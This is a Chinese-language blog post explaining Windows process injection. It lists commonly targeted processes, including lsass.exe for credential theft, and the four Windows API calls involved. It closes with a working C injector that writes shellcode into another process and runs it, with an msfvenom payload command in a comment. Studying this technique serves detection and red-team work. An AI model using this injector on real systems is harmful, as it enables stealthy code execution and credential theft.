Process Injection
2022-7-27 02:12:25 Author: 仙友道(查看原文) 阅读量:15 收藏

想卷卷不动,想躺躺不平,这就是我现在的状态。

Process injection 

        攻击者可能会向进程中注入代码,以逃避基于进程的防御以及可能提升权限。进程注入是一种在单独的活动进程的地址空间中执行任意代码的方法。在另一个进程的上下文中运行代码可能允许访问该进程的内存、系统/网络资源以及可能提升的权限。通过进程注入执行也可能逃避安全产品的检测,因为执行在合法进程下被屏蔽。

    Cobalt Strike 提供了两种在远程进程中分配内存并将数据复制到其中的选项,而其中默认使用项就是使用了 VirtualAllocEx -> WriteProcessMemory 的经典模式,这模式也是红队工具中最常见的模式。此模式也适用于不同的进程体系结构。

攻击者经常注入的进程包括以下:

  • lsass.exe(凭证盗窃)

  • calc.exe(防御规避)

  • notepad.exe(防御规避)

  • svchost.exe(防御规避)

  • backgroundtaskhost.exe(防御规避)

  • dllhost.exe(通常用于托管 COM 组件,攻击者经常注入到这个进程中,以便融入一个经常执行且预计生命周期很短的进程

  • regsvr32.exe(应用程序控制绕过和其他规避)

  • searchprotocolhost.exe(应用程序控制绕过和其他规避)。

  • werfault.exe(防御规避)

  • wuauclt.exe(防御规避)

  • spoolsv.exe(防御规避)

  • 浏览器进程(标准化网络连接、信息窃取/银行木马)

经典组合

常用的进程注入需要用到4个Windows Api,

  • OpenProcess - OpenProcess函数可以返回已有进程对象的句柄。

  • VirtualAllocEX - VirtualAllocEx函数用于分配内存,同时赋予对内存地址的访问权限。

  • WriteProcessMemory - WriteProcessMemory函数可以将数据写入指定进程中的内存区域。

  • CreateRemoteThread - CreateRemoteThread函数将创建一个新线程,该线程运行在另一个进程的虚拟地址空间。

OpenProcess

OpenProcess 函数打开一个现有的进程对象。

HANDLE OpenProcess(  DWORD dwDesiredAccess,  BOOL  bInheritHandle,  DWORD dwProcessId);

VirtualAllocEx

首先分配一块与我们的 shellcode 大小相同的内存。VirtualAllocEx 是我们需要调用的 Windows API,以便初始化位于指定进程(即我们要注入的进程)的虚拟地址空间内的内存区域中的缓冲区空间。
VirtualAllocEx – 与VirtualAlloc (HANDLE hProcess)相比,此 API 调用需要一个附加参数,后者是受害者进程的句柄。

LPVOID VirtualAllocEx(  HANDLE hProcess,           LPVOID lpAddress,  SIZE_T dwSize,  DWORD  flAllocationType,  DWORD  flProtect);

WriteProcessMemory

将 shellcode 写入该缓冲区

BOOL WriteProcessMemory(  HANDLE  hProcess,  LPVOID  lpBaseAddress,  LPCVOID lpBuffer,  SIZE_T  nSize,  SIZE_T  *lpNumberOfBytesWritten);

CreateRemoteThread

创建一个在另一个进程的虚拟地址空间中运行的线程。

HANDLE CreateRemoteThread(  HANDLE                 hProcess,  LPSECURITY_ATTRIBUTES  lpThreadAttributes,  SIZE_T                 dwStackSize,  LPTHREAD_START_ROUTINE lpStartAddress,  LPVOID                 lpParameter,  DWORD                  dwCreationFlags,  LPDWORD                lpThreadId);

demo

#include<Windows.h>#include<stdio.h>#include <stdlib.h>
// msfveom -p windows/x64/exec CMD=calc -exitfunc=thread -f cunsigned char buf[] = "";
int main(int argc, char* argv[]) { HANDLE Process = OpenProcess((DWORD)PROCESS_ALL_ACCESS, (BOOL)FALSE, atoi(argv[1]));
printf("Inject PID: %d", atoi(argv[1]));
void* exec = VirtualAllocEx(Process, NULL, sizeof(buf), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    BOOL Memory = WriteProcessMemory((HANDLE)Process, (LPVOID)exec,(LPCVOID)buf, sizeof buf, NULL);
HANDLE thred = CreateRemoteThread((HANDLE)Process, (LPSECURITY_ATTRIBUTES)NULL, (SIZE_T)0, (LPTHREAD_START_ROUTINE)exec, (LPVOID)NULL, (DWORD)0, (LPDWORD)NULL);
}


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3NjYwNDgzMQ==&mid=2247485490&idx=1&sn=f69d2ceb435731db8874ddae16c0ddab&chksm=cf2ef4c2f8597dd45840b0989800d8471984821a04d728dc9de9ced501167a5ba327bef50755#rd
如有侵权请联系:admin#unsafe.sh